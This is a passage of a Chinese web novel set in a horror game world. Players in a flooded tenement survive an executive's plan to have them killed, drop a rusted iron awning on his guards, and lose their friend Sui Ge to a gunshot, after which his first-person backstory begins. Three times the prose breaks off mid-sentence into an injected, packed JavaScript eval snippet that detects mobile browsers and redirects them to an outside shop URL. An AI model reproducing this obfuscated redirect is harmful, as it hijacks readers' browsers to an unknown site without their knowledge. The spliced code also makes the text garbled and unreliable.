“但现在永安楼又需要在近期拆除,副本又要想办法组织了。”路耀皱起眉,“可他为什么派我们这些新员工进楼,去劝住户签字搬走呢?这说不通啊。我们要是真把字签完了,楼不就拆了吗?” 初与序笑了一下:“他是把我们当替死鬼呢。” “副总知道老张和602住户的冤魂还困在楼里,暴雨夜就会出现。他派我们这些新员工进去,就是把仇恨引到我们身上。” “他派我们来的目的不是成功签约,他想要的是我们三十四人,在楼里全部死亡。” “如果发生这种重大伤亡事故,永安楼就会彻底坐实‘无法拆除的极凶之地’。拆件计划将永久搁置。而他的违规建筑,他的非法生意,就能继续隐藏在筒子楼的阴影下,安然无恙。” 初与序长长唏嘘道:“如果我们三十多人这两天没有全部死在怪物手中,明天中午副总带着拆迁队伍来,就会直接动手杀死剩下的活人。” 路耀听完,气得咬牙切齿:“我操,这老不死的!太阴了!拿十几条人命给他当垫脚石?!” 初与序没再说话,将帽子重新拉起来:“走吧,该回去了。” 两个人回到筒子楼附近时,还能看见楼上的环形走廊里,其余玩家还在挨家挨户地敲门,试图说服住户们签字,并不知道这一切都是阴谋。 天井的积水已经淹到了三楼走廊,看不到底。没人敢下来,下来估计直接就被淹了。初与序和路耀站在楼外,看着那水面沉默了几秒,选择爬墙。 他们绕到筒子楼背面,向上爬去。路耀回了自己的302,初与序从409的窗户翻了进去。 刚一落地,她就看见唐玉兰坐在409沙发上,见她进来,站起身。 “你怎么在这?”初与序问,拍了拍衣服上的水渍。 唐玉兰走到门边,指了指走廊外:“下面水太高,二楼和三楼的房间都没法住了。人都搬上来,跟上面楼层的人挤着住。我们俩这两天也得住一间了。” 初与序点了点头,表示知道:“随歌呢?” 唐玉兰简单把之前在504发生的事讲一遍,然后道:“他消耗很大,伤得也不轻,现在在隔壁410休息,没见他出门,可能还没醒。” “我去看看他。”初与序走向门口。 “等等。”唐玉兰忽然叫住她。 初与序停下脚步,回头。 唐玉兰上前两步,压低声音:“……和你说件事,随歌他……把他自己的竹扇折断了……” 初与序罕见地惊愕道:“什么?” “我之前摸过他脉搏,他体内的精神力完全感受不到了,空荡荡的。我就知道他的武器彻底毁了。”唐玉兰道,“你也清楚,我们玩家的武器和自身魂魄是绑定的,武器毁了,人就算不死,也等于废了。他现在和现实里的普通人差不多,如果恢复得不好,甚至可能……你知道的。” “现在其他玩家还不知道这事,最好先瞒着。至于随歌本人,醒来后精神状态估计不会太好。你剩下的时间多看着他点,防止他干啥事,也别被其他玩家趁虚而入。” 初与序点了点头:“我知道了,谢谢你。” 唐玉兰摆了摆手,没再多说。 初与序转身,轻轻推开了410的房门。 屋里光线有些暗,随歌靠在客厅沙发里,换了干净的长袖,睁着眼安静地看着天花板。听到开门声,他转了转眼睛,看向门口的初与序,勉强朝她露出一个笑容。 初与序走到沙发边,拿起桌上的水壶,倒了一杯热水。水汽袅袅升起。 “别笑了。”她将水杯递过去。 随歌张了张嘴,不知道说些什么,不笑了。他接过初与序递来的水,低头抿了一小口,然后捧着水,有些迷茫地看着地板。 “你是来关心我的吗?”随歌喃喃道。 “是。” 随歌淡淡地笑了一下:“可我已经没武器了。” “我知道。” “那你还来关心我干什么?”他抬起头,“我和废物没什么区别了。” 初与序面无表情道:“我在你眼里是什么很冷血的人么?你是怎么问出这种话的?” 随歌慌了,忙道:“我不是这个意思!” “那冷血的就是你了。”初与序幽幽道,“我真心把你当朋友,你却认为我是为了利益。” 随歌的头摇得像拨浪鼓:“不是!不是!我也不是这个意思!” 初与序问道:“那你是什么意思?” 随歌低下头,看着杯中的水面,半晌才轻声说:“我不聪明,你们能想出来的线索,我无论如何也想不出来。我什么事做得都不对,进副本唯一能靠的也只有竹扇。” “现在我竹扇也没有了,身体也因为武器毁了影响严重。我搞砸了一切,我什么都没有了……我又回到了原点。” 他抬起右胳膊,五指张开,对着窗外灰蒙蒙的光。他看着五根手指上的旧疤。 “你们对我很好,意哥,你,冬逢初,景明垂他们……可是这不值得,你们没必要对我这么好的。” 初与序问道:“只是因为你觉得你没有用了,我就要放弃你吗?” 随歌点了点头,说道:“不是我觉得,是我真的没有用了。” 他抬起头,用困惑和痛苦的眼神看向初与序:“我不明白为什么我是个废物,我不明白很多事……更不明白为什么我会这么惨。我会给你拖后腿的,我继续在永冬之城活着也没什么意思。你把冬逢初他们带回现实就行了……” 他眼里有了水光:“副本接下来的时间,你就和唐玉兰他们一起吧,千万别在意我了。” 他说完,不敢去看初与序,低下头,像要把自己缩进沙发里。 初与序看着他的样子,就知道他这么多年一定没有走出竹翰学院的阴影。 她轻轻叹了口气,扳过随歌的肩膀,让他不得不面对自己。 “随歌,你知道吗,你对你自己真的太差了。”初与序说道,“你不允许自己出任何问题,你越来越像意哥了,这让我不知所措。” 随歌嘴唇动了动,没出声。 初与序慢慢地说道:“随歌,你经历过太多不公,你的身体也承受了太多代价。可这一路, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231668|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你从来不是靠着竹扇才走到这里的。你不值得留在这黑暗之地,你值得拥有那样平静的清晨。你需要活下来,是为了那些你本就应该得到的、再无需失去任何东西的日子。” “我要把所有人都带去看有春夏秋冬的世界,你也在内,你懂吗?” 随歌看着初与序,接着仰起头,将杯子里的水一饮而尽。随后把空杯子放回桌上,抬手抹了把脸,眼睛变得很亮: “仓储中心里面有什么?” 初与序微微一笑:“有副本的真相。” 房门被敲了三下,唐玉兰和路耀从外面探进两个脑袋。路耀看到随歌,咧嘴一笑:“嘿!听说你在504的英雄事迹了!还把411和412那两个傻逼淋得透湿,干得好啊伙计!解气!” 唐玉兰将门关严实,走到沙发边,对随歌道:“怎么样了?” 随歌笑道:“这次是真的感觉挺好。” 四个人围成一圈,初与序和路耀将之前的所有发现说了一遍。等他们说完,随歌问道:“那现在我们需要把这些告诉其他玩家,让他们别白费力气去敲门了吗?” 初与序和唐玉兰同时摇了摇头,唐玉兰道:“不,剩下的玩家不一定都是我们这边的。” 路耀道:“啊?为什么这么说?” 初与序解释道:“玩家中一定有内鬼,副总肯定在外面三十四人中安插了眼线。我们应该做的,是将计就计,继续假装签约,让内鬼给副总传递‘进展顺利’的假消息。” 路耀问道:“那咱们到时候该怎么让其他玩家开团秒跟?总不能直接喊‘一会儿有坏人来,大家抄家伙’吧?” “等一下,我好像知道这里楼顶上面有个东西!”随歌飞快从面板里抽出一张图纸铺在茶几上,图纸正面是楼层分配,背面是简单的平面图。 他伸手指着天井边靠近外墙的地方,那里画了一个小小的矩形,旁边手写着一行字:「七楼顶棚,铁皮遮雨,1947年加装,慎动。」 “这是老式遮雨棚。”随歌道,“筒子楼天井上面有一大块铁皮顶棚,为了挡雨用的,能遮住七楼环形走廊外侧大概2米宽。现在年头久了,肯定绣得厉害。” 路耀眼睛一亮:“能拆不?” “硬拆动静太大了。”唐玉兰说道,“但我们可以想其他办法。” 她看向图纸:“这个东西看样子是靠几根钢缆拉着,固定在七楼两边的墙上。这两边应该有控制钢缆松紧的绞盘或者固定栓。”说着,她点了点图纸上七楼两侧对称的位置。 随歌道:“如果副总他们来,最可能在哪里跟我们摊牌?” “天井。”初与序道,“我们需要让副总和他的人准时出现在天井正下方。” 她看向唐玉兰:“明天阻止所有玩家在同一时间待在七楼,副总得到消息,一定会带人直接上来,在天井那里堵我们。” “然后,我们四人需要分两队提前到七楼两边,找到控制钢缆的机关。等副总他们全部进入天井下方,便可以同时松开装置,让那块铁皮砸下去。” 路耀想象了一下那个画面:“那块大铁皮……砸下来?” “锈了二十多年的铁皮,从七楼高度砸下去,就算不能全砸死,也够他们喝一壶了。”随歌笑道。 唐玉兰看了身边三人一眼,站起身:“那还等啥?走,去准备准备了。” 297.筒子楼之雨 天井的积水已经涨到了五楼的高度,暴雨下个没完。 或许是因为随歌在504与老张的合作,当天晚上,那些爬墙怪物并没有再次出现,众人提心吊胆地熬了一夜,总算平安度过。天亮后,一整个上午,唐玉兰和路耀都在扮演“拆迁先锋”,继续带领其他玩家挨家挨户敲门,还签下了八户。 就在唐玉兰刚被一户住户骂骂咧咧赶出门时,隔壁一间空屋子里忽然传来一阵“叮铃铃”的电话铃声。 唐玉兰循声走去,桌子上放着一部转盘电话,响个不停。 “喂?”她拿起听筒。 听筒里传来王队长半死不活的声音:“……是唐玉兰吗?我是王队长。上面让我问问,你们那边签得怎么样了?有多少户同意搬了?” 唐玉兰道:“王队长,您放心。经过我们不懈努力,目前全楼一大半居民已经全部同意搬迁,楼内清理工作也完成,随时可以迎接公司领导前来验收。” 电话那头沉默了两秒,王队长慢悠悠地“嗯”了一声:“……行,知道了。公司领导今天中午会过来一趟,你们准备一下。” “好的,明白。”唐玉兰应道。 电话挂断,她走出房间,拍了拍手,对其余玩家大声道:“各位,听我说一下!今天中午十一点半,所有人到七楼走廊集合!我有非常重要的事情宣布,关系到我们能不能顺利通关副本!记住,是所有人,必须到场!” 玩家们互相看了看,虽然有些疑惑,但还是纷纷点头应下。 “好了,大家现在自由活动。”唐玉兰补充道,“但一定要保存好体力!” 玩家们三三两两地散开。路耀双手插兜,走到走廊边低头看了看下面的积水:“这水涨的……到时候副总他们怎么上来?难不成也像我们一样爬墙?” 唐玉兰耸耸肩:“说不定人家有钱,坐直升机空降呢。” 路耀乐了:“那可真够排场。” 409房间,初与序坐在客厅,门忽然被推开,随歌匆忙地跑进来:“初与序,我好像找到……阁楼了!” 初与序立刻睁开眼:“在哪?” “跟我来!”随歌转身就往外走。 两人快步上楼,随歌一边爬楼梯一边道:“我刚才想再去楼顶看看有没有什么线索,结果在天台边上发现了一个小房子,看样子应该是筒子楼的阁楼。” 说话间,他们到达顶层。 天台很开阔,一些来不及收走的衣服还挂在上面,被雨水淋湿。在天台角落,果然有一座小房子。屋顶倾斜,有一扇八角窗,里面点着小灯泡,这就是他们在永冬之城经常呆的阁楼。 初与序走到门前,伸出手轻轻一推。 空间狭窄但干净,靠墙摆着书架和小木桌,桌上还放着一盒草莓牛奶。灰尘不多,像是有人时常打扫。和他们记忆中的阁楼没有区别,一切都没变。 随歌也小心跟了进来,和初与序对视一眼。 “之前我和冬逢初去找卖我相机的那个摊主,他说,相机是他从一个带阁楼的副本里挖出来的。”随歌压低声音,“他说的副本,不会就是这个《筒子楼之雨》吧?” 初与序问道:“摊主还说什么了?” 随歌想了想,道:“他还说……当时的阁楼他们进不去,怎么推都推不开,像是有什么力量挡着。” 两人同时看向那扇被他们轻易推开的木门。 随歌道:“这个阁楼是等着我们进来?!” 初与序道:“只有这个解释了。” 随歌忽然想起来什么,看向初与序:“冬逢初对阁楼有强烈的排斥反应,我当时给他的解释是,他自己,或者和他的精神力一样的人,曾经在这里发生过极其糟糕的事,他便会对这里反噬。” “如果……那个人是你呢?” “是因为你曾经在阁楼里被屠宰场首领袭击,受了重伤。所以,冬逢初才会对这种创伤地产生排斥?” 初与序愣住了,她站在原地沉默了好一会儿,像是在消化这个事实。 过了一会,她伸手关上了阁楼的门。接着看向那扇八角窗。 窗玻璃上有水汽,模糊了外面的景象,但能看见外面下雨的场景,灰色的雨幕正一点点褪去颜色,紧接着变成一片白。 随歌也看到了,他走到窗边。窗外只有白,茫茫的,厚厚的。 “我靠……”他喃喃道。 初与序握住门把手,再次拉开了门。 寒风猛地灌了进来,冷得刺骨。门外是一片望不到头的雪原,天是灰白色的,地是苍白的,分不清哪里是天,哪里是地。鹅毛般的雪片扫过来,除了风声,什么都听不见。 随歌打了个哆嗦,牙齿开始打颤。就这么几秒钟,他已经冻僵了,张了张嘴,呼出的气立刻变成一团白雾。 “这这这这……这从这里,能走到……妄主住的那个宫殿吗?”他边发抖边问。 初与序站在门口,雪花落在她肩上,很快积了一层。 “不确定。”她说,“但C13已经在找进去的办法了,我们暂时不考虑从这里盲目找宫殿。” 她说完,伸手重新拉上门。两个人等了几秒,再次推开门,门外又变成了湿漉漉的天台。 “回去吧。”初与序说。 随歌点了点头,搓了搓冻得通红的手,迈步走了出去。初与序跟在他后面,刚要跨出门槛,忽然停住脚步。她转过身走到墙边,这里的墙壁仍然贴满了写着字迹的纸张,纸张表面也铺着一层马赛克,遮挡了字迹。 她缓缓伸出手,碰到那片马赛克,然后找到一处边角,小心翼翼地往上掀开了一小片。 马赛克竟然被撕开了一角,下面露出了泛黄的纸张。纸张上是黑色的圆珠笔字迹,能看出已经存在了很久很久。 几十年?还是几百年?几千年? 初与序松开手,马赛克一角又落了下去,重新盖住了下面的字迹。她转过身走出阁楼,反手带上了门。 中午十二点前后,没有太阳,根本看不出是夏季的正午。雨下得更大了,水面离七楼走廊只剩一点距离。 玩家们聚在走廊上,被暴雨和湿气包裹着,都有些心神不宁。411和412那两个人靠在栏杆上,脸色比天色还难看。 “操,这破雨还没完了!”411的人啐了一口,“还有他妈五十多户没签!怎么搞?拿头去签?我看这任务铁定完蛋!” 412的也烦躁道:“就是!搞这么大阵仗,让我们上来开会,能有屁用?唐玉兰人呢?她自己说的十一点半,这都几点了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231669|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 忽然,角落里一个玩家幽幽开口:“谁知道呢,说不定是死了……反正你们也马上会下去陪她。” “你什么意思?”411猛地转头看向那位玩家。 刚要骂人,一阵轰鸣声忽然从头顶传来,所有人都抬起头。 雨幕上方,几个黑点正在放大,越来越靠近筒子楼。过了片刻,众人才看清那是直升机,不止一架。几架直升机缓缓降下高度,最终停在筒子楼天井正上方。 “啥……啥玩意儿?”有玩家问道。 楼下也传出了汽车的声音,初与序和随歌从窗户往下看去。七八辆黑色的轿车停在了筒子楼外面,车门打开,下来十几个保镖,正在找进入楼内的路。其中一架直升机降落在筒子楼天台上,舱门打开,先跳下来一个保镖。他手里握着一把黑伞,撑开举在上方。 接着,一个穿着西装的中年男人弯腰走了出来,带着微笑。 他走到等在前面的唐玉兰和路耀面前,温和道:“你们好。我是永盛公司的副总经理。辛苦各位了,在这种天气还要工作。” 唐玉兰和路耀对视一眼,微微欠身:“副总好。” 副总笑了笑:“听说,你们这边的进展很不错?” 唐玉兰点了点头,将几份早就准备好的文件递上去:“是的,副总。大部分住户都已经签了协议,同意搬迁。” 副总接过来,随手翻开。 “很好。”他合上文件,交给身后的保镖,“那……剩下的那些住户呢?” 路耀为难道:“副总,剩下的那些……实在是顽固,我们磨破了嘴皮子,他们就是不肯签。我们也没办法了。” “这样啊”。副总点了点头,表示理解,“没关系,工作总有难点。我既然来了,正好也去看看他们。” 他说完,便朝着楼梯口走去,保镖们簇拥上来,前后左右将他护在中间,唐玉兰和路耀也跟在了队伍后面。 一行人下了天台,沿着楼梯来到了七楼。 走廊上,所有玩家都待在这里,他们看着突然出现的一群人,一时间都没反应过来。 而这时,从四面八方涌来了更多的保镖,将七楼和六楼的走廊堵死,把所有玩家都围在了中间。 副总走到走廊比较开阔的一段,停下脚步,面对这些茫然的年轻员工们,看着他们身上被雨水打湿的工装。 “还有……这么多人啊。”他轻声开口,像是在自言自语。 就在这时,刚刚在角落里发言的玩家忽然殷勤地上前,走到副总身边,鞠躬哈腰:“副总,您……” 下一秒,众人耳边就听见“砰!”的一声响,那玩家脑门上出现一个冒着烟的枪孔。他睁大双眼,似乎对此很茫然,然后直挺挺倒了下去,载进了天井下方的积水里。 紧接着,副总抬起手做了个手势。 所有的保镖同时拔出了手枪,齐刷刷对准了走廊上的年轻人。 砰!砰!砰!砰! 枪声像除夕夜的鞭炮,子弹穿透了玩家的身体,血花绽开。 一个站在前方的玩家胸□□开一团红雾,他愣愣地低头看了看,然后直挺挺向后倒去。另一个玩家肩膀中弹,惨叫一声,撞在身后的栏杆上。 “他们杀人啊——” 298.筒子楼之雨 整个七楼走廊炸开了锅。 所有玩家立刻反应过来,治愈系的撑起了护盾,攻击系的随便抄起手边的东西,胡乱地朝着开枪的保镖砸去,控制系的试图扰乱敌人的感知。 副总站在原地没动,笑容满面地看着这场屠杀。 “我□□祖宗——!!”411的男人狼狈地躲着,破口大骂,“你他妈不得好死!生孩子没□□!” 412也躲在柱子后面:“王八蛋!狗日的!把我们骗进来杀!” 唐玉兰和路耀也不再装好员工,唐玉兰双掌一合,向前推出,几团火球砸向保镖,逼得他们后退。路耀抽出双节棍,舞得呼呼生风,冲入了战场。 一个保镖捡起地上的砖头,绕到正与另一人颤抖的路耀身后,高高举起了砖头瞄准他的后脑勺! “路耀!你后面!”有玩家大喊。 接着一道身影从上方落下,刀光一闪,砖头从保镖手里滑落。他低头看着自己肋下插着的一截刀柄,张了张嘴,血沫涌出。 他还没倒下,初与序已经拔刀,旋身,从另一侧抹过! 第二名保镖的脖子上多了一道红线,他捂住脖子,向后踉跄。 第三名保镖终于转了过来,将枪口对准初与序。紧接着一团火球重重砸在了他的枪口上,枪身爆炸,保镖的整条手臂直接燃烧起来,他发出惨叫,倒在地上疯狂打滚! “听我说——!!” 一个声音从众人头顶上传来,所有人都抬头望去—— 只见随歌不知何时跑到了天台,举着一个超大号喇叭,对着下方大喊:“别靠南墙!!那是违章加盖的!不承重!会塌!” “走廊东北角!柱子!空心的!砸开!里面有老水管!” 有反应快的玩家立刻扑向东北角的柱子,抄起砖块就砸去。 轰——! 柱子被砸开一个大洞,高压水柱从破口喷射出来,冲在两名保镖身上,将他们冲倒在地,撞在墙上,又滑出去好远,半天爬不起来。 走廊灯不知被谁打碎,光线暗了下来,视线变得很差。随歌又从旁边拖出一个超大号探照灯,打开开关,强光从天台照下来,照亮了七楼走廊的战场,给玩家们指明了方向,也晃花了那些保镖的眼睛。 玩家们和保镖们混战在一起,不断有保镖们的脚步声从楼梯口传来,越来越多。路耀甩开双节棍,砸翻从转角冲出的两人,但他自己也挨了一拳,嘴角溢出鲜血。 玩家们起初有十几人,但保镖们训练有素,又有枪。不断有玩家中弹倒下,或被近身格杀。有人从栏杆边坠落,掉进五楼高度的积水里,水花溅起,血很快晕开一片红色,然后人影消失。 一小时后,能站着的玩家只剩下了六个。保镖们也倒下了一大片,折损了至少有二十个。 “小心后面!”随歌继续在天台上拿着喇叭吼,提醒玩家们。 副总看着这个上蹿下跳的黄毛小子,终于受不了,不耐烦地抬了抬手,朝身边的保镖示意了一下,保镖立刻转身朝着楼梯口冲去。 随歌正举着喇叭喊:“……对!南边!南边那个光头,他枪没子弹了!干他!” 他瞥见楼梯口冲上来的人,“嗷”一嗓子,抓起大喇叭转身就跑,嘴里没停:“注意注意!有几个上来了!他们想抓我!别管我!先打下面那个戴墨镜的!他腰上还有备用弹匣!” 他绕着天台边缘跑,保镖在身后追,时不时回头看一眼,继续喊:“楼下!楼下六楼东边!还有人!小心包抄!” 保镖们被他弄得火大,加快脚步。 随歌看准时机,突然冲向楼梯口,直接抓住栏杆,纵身一跃,落在七楼走廊上,打了个滚,爬起来继续跑,手里喇叭都没扔:“我下来了!他们追下来了!注意!他们现在在七楼西侧走廊!位置分散!有机会集火!” 他就这样灵活地在七楼走廊上跑动,像个移动的广播站,硬是把一群保镖引到了七楼靠近天井的一片开阔区域。 初与序等人在混战中留意着他的动向,看到他成功把保镖们引到预定位置,四人飞快地对视一眼。 路耀立刻抽身,朝着随歌冲去。初与序和唐玉兰也扑向七楼走廊另一边。 此刻走廊上,除了他们四个,已经看不到还能站起来的玩家了。地上横着不少尸体,剩下的黑衣保镖都集中在天井附近,试图将初与序等人围死。 一个保镖看随歌还在跑,抬起手对着随歌大腿就扣动了扳机! 只听“砰!”一声,随歌闷哼一声,大腿爆开血花。他踉跄了一下,但没有停下,向前一扑,扑向正朝他冲来的路耀。两人撞在一起,滚倒在地。 初与序已经站在了走廊另一侧主承重柱旁边,双手握住短刀刀柄,高高举起,用尽全身力气对着柱子狠狠劈下! 唐玉兰也到了,她双掌齐出,掌心中的火焰如炮弹般轰在初与序劈砍的同一个点上! 咔嚓——!!! 走廊对面,随歌和路耀也从地上爬起来,扑向墙角的绞盘。两个人抓住绞盘的手臂,用力向外扳动! 嘎吱——嘎吱嘎吱——轰——!!! 天井上方传来一阵惊天动地的声音,那片悬在七楼楼顶的铁皮遮雨棚失去了支撑,从两侧向中央折叠,朝着正下方猛砸下去! 副总猛地抬起头,惊恐地看着向下坠落的铁皮,想躲,但已经来不及了。 砰——!!! 地面为之一震,数百公斤的铁皮结结实实砸在了那些人的身上。初与序能清晰地听到他们骨头被砸碎的声音,惨叫声很快消失。 铁皮深深嵌入地面,边缘将几具尸体拍得血肉模糊,紧紧压在了下面,血水从铁皮的边缘涌了出来。 一部分铁皮落进了天井的积水里,冲击力将积水向上拍去,兜头盖脸地砸向周围的走廊。 水浪冲过,将本进一片狼藉的走廊冲得更加混乱,所有尸体都泡在了水里。 灰尘弥漫开来,呛得人睁不开眼,喘不过气。初与序剧烈咳嗽着,从一堆杂物后爬了出来。唐玉兰也从旁边钻了出来,两人在灰尘中左右张望。 “路耀!随歌!”唐玉兰扯着嗓子大喊。 “我靠……在……咳咳!在这儿!”对面走廊传来路耀的声音,也被呛得咳嗽。 接着是随歌的声音:“……没死……还活着……咳咳咳!” 灰尘渐渐落在一些,能看见对面的随歌和路耀爬了出来,也成了落汤鸡,身上又是水又是血。 初与序看到随歌还活着,长长松了口气。 路耀甩了甩头上的水,看着天井中央的巨大铁皮,又看看周围,除了他们四个,再也看不到一个站着的人影。 “成功了——!!”他猛地跳起来,“我们活下来了——!!!” 随歌还因为腿上的枪伤疼得龇牙咧嘴,但还是朝着对面的初与序挥手,笑嘻嘻地喊道:“初与序!等我们回去,你得把意哥之前没收我的草莓牛奶还给我!” 初与序站在对面,笑道:“好——” 砰! 一声枪响格外刺耳。 随歌脸上的表情僵住了,他低下头,看着自己胸口晕开一个鲜红的弹孔。 他愣愣地伸出手,摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231670|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了摸那个伤口,手上沾上温热的血。 所有人都愣住,目光顺着枪声的来源看去,一只手从铁皮边缘伸了出来,那只手血肉模糊,握着一把手枪,枪口正冒着淡淡的青烟。 铁皮下压着一个人,满脸是血,是其中一个竟然没死透的保镖。 他握着枪的手颤抖着,再次抬起来,想要对准随歌再扑上一枪。 “小心!”唐玉兰尖叫道。 接着她就看见旁边的初与序弯下腰,捡起一把手枪,看都不看,抬手,瞄准,扣动扳机。又是一声枪响,子弹打进了保镖的头颅,那只手垂了下去,手枪掉进血水里。 随歌看了看自己指尖的血,眼神里的光亮迅速地暗了下去,像被风吹灭的蜡烛。他恍惚地眨了眨眼,好像想看清什么。但他的身体却晃了晃,直直向后倒去! 路耀惊恐地嘶吼了一声,猛地扑过去接住了他,两个人跌坐在积水里。 初与序和唐玉兰从对面狂奔过来,冲到随歌身边。初与序跪在水里,扶住随歌肩膀:“随歌!看着我!保持清醒!” 血从随歌的弹孔里涌出来,路耀用两只手捂住那个伤口,但血还是不断地从他指缝里淌下来。 随歌张了张嘴,更多的血从嘴角涌出。初与序忙从面板里取出纱布,用力按压住他的伤口,试图止血。 他被血呛得咳嗽:“我……我不想死……” 他在水里摸索着,然后颤抖地抓住了初与序的衣袖。 他看着初与序,挤出一个笑容:“初与序……救救我呗……我真的……不想死了……” 初与序连连摇头:“你不会死的,随歌。听我说,你不会死。我们会回去,回到永冬之城。我保证我一定把意哥没收的草莓牛奶全给你,一瓶都不少,都是你的。” 随歌的身体开始细微的抽搐,带着血沫含糊地说:“好……但……我还是好怕,我不想……一个人……” 他抓着初与序衣袖的手一点点松了下去。 “初与序……我……” 那只手一点点松开了,无力地垂落下去。他的眼睛还睁着,望着头顶灰蒙蒙的、下着雨的天空,瞳孔已经彻底散开。 唐玉兰站在一边,伸出手捂住自己的嘴,眼睛睁得很大,眼泪滚落下来。 天井里,血水混着积水慢慢地漫过铁皮,漫过下面压着的尸体,也漫到他们的脚边。初与序还跪在水里,过了很久很久,才缓缓抬起手,伸过去,合上了随歌的眼睛。 雨打在积水上,打在铁皮上,打在随歌的尸体上。声音细细密密的,像有人在痛哭。 【恭喜各位玩家通关副本《筒子楼之雨》。】 【2000年6月18日下午3时,暴雨终于停歇。永安楼在拆迁队抵达前迅速老化,仿佛在短短几小时内经历了数十年的时光。】 【相邻地块的“永盛物流仓储中心”因失去永安楼遮挡,其违规加盖、严重倾斜的主体结构完全暴露。当日下午4时,县城市规划局巡查人员发现异常,立刻上报。警方在介入调查后,发现了副总手下的所有罪行。】 【永盛拆迁有限公司被吊销营业执照,副总名下十三处房产、七辆豪车、多个银行账户全部查封。其家族成员共九人因涉嫌包庇、洗钱被捕。违规建筑将于一周内拆除,地块收回国有。永安楼原址改建为社区公园,命名为“永安纪念园”。】 【本次副本奖励已发放至各位玩家面板,可打开查看。】 【雨从未停过,只有有人终于听清了雨的哭泣。时间从不是罪恶的同谋,它终会将所有沉没的真相托举上岸,晾晒在阳光之下。】 299.随歌自述 我是随歌,是的,就是意哥队伍里时常拿着竹扇装逼的黄头发帅哥。 我可不像意哥那样帅不自知,我自己知道我肯定很坏的,学生时期还是校草,被好多女孩子追呢。不过我没谈过什么恋爱,年少时忙着练歌,没想过这种事。现在是我自己变得像个废人了,不能耽误人家女孩子……不对,跑题了。 所有人见过我,都觉得我是个天生没心没肺的主儿。北京胡同里长大的孩子,身上多少带点儿混混的劲儿,我也不例外。 我爸妈说,生我的时候,我妈正在听磁带,周华健的《朋友》放到一半,我就出来了。我爸当时在产房外头听见我哭,一拍大腿说这孩子嗓门亮,想了三天,最后我妈说,就叫随歌吧,随歌而生。 他们都是传统到骨子里的人,我爸是典型的老爷们儿,主张“打”式教育,错了就得挨,疼了才能记住。我妈相反,柔得像水,我爸肘击完我,她就红着眼圈来找我,摸着我的头说别怪你爸,他也是为你好。 其实我没怪过他,至少在被送到竹翰学院前,一次都没怪过。我自己晓得我有多不让人省心,我也挺对不起父母的,他们辛辛苦苦养着我这么个废物。 我的前十六年过得挺不错,成绩垫底,但嘴甜,脸好看,性格又开朗,身边人都愿意跟我玩儿。逃课的时候,我就跟我那群“狐朋狗友”钻到废弃的烂尾楼里搞乐曲创作。那儿墙皮剥落,钢筋外露,但回声特好,我们在那儿吼一嗓子,能荡出三层颤音。 乐队有五个人,我是主唱兼吉他手,李腾弹贝斯,是我最好的哥们。队名叫“苦咖啡不加糖”,本来我打算取“草莓牛奶”的,但他们四个说我这个不怎么样,“苦咖啡不加糖”是食物链顶端的忧郁,他们要当忧郁少年。而且苦咖啡里加点糖,苦里带甜,像我们的人生。那行吧,就叫这个。 从初中一路搞到高一,我们乐队居然真的在互联网上闯了点儿名堂,攒了一百多万粉丝,每发一首新歌,底下评论能刷几千条。 那时候我是真喜欢我的名字——随歌,随歌,跟着歌走。我觉得我就是为音乐生的。 中考擦边上了我们那儿最差的高中,不过乐队几个也都在这儿,李腾还跟我同班。别人上课传纸条问中午吃啥,我们传五线谱。虽然经常被我爸揍,但那时小日子过得挺有盼头。当时我心比天高,觉得学习不好又怎样,我有音乐天赋。 高一那年我提过走艺考,爸妈头也不抬就否了。他们认为艺考是废材走的路,他们的宝贝儿子不能这么糟践自己,转头给我买了三本《五年高考三年模拟》。 ——我转手就把他们当废品卖了。 我叛逆啊那时候,父母越不让做什么,我就越要做。晚自习逃课去练歌已经成了家常便饭,账号越做越大,有公司联系合作,几首原创的版权也卖了不少钱,我们都觉得我们离梦想越来越近。 高一下学期,某个普通的晚自习。 我们照常逃课去烂尾楼,李腾抱着电脑冲进来时,我正在调整吉他的弦距。 “随队!随队你快看!”他兴奋地大喊,“我们被邀请了!” 我慢吞吞道:“邀请啥?烧烤摊开业?” “星竞晚会!”他直接把电脑怼我眼前。 我抬头一看,屏幕上是一封电子邀请函,白底金字,最上面是“星竞晚会”四个艺术字,下面是我们乐队的名字——“苦咖啡不加糖”。右下角有公章,红艳艳的,不像假的。 我看了眼日期:“今天也不是愚人节啊。” “真的!”李腾急得抓我胳膊,“我刚刚查了官网,名单上有我们!邮件是昨天发的,我昨晚打游戏没看邮箱!” 我盯着屏幕看了足足一分钟。 我靠!是真的! 星竞晚会,是那个像高考一样,专门给小乐队鲤鱼跳龙门的舞台。只要进前十,音乐这条路就赢了一大半。 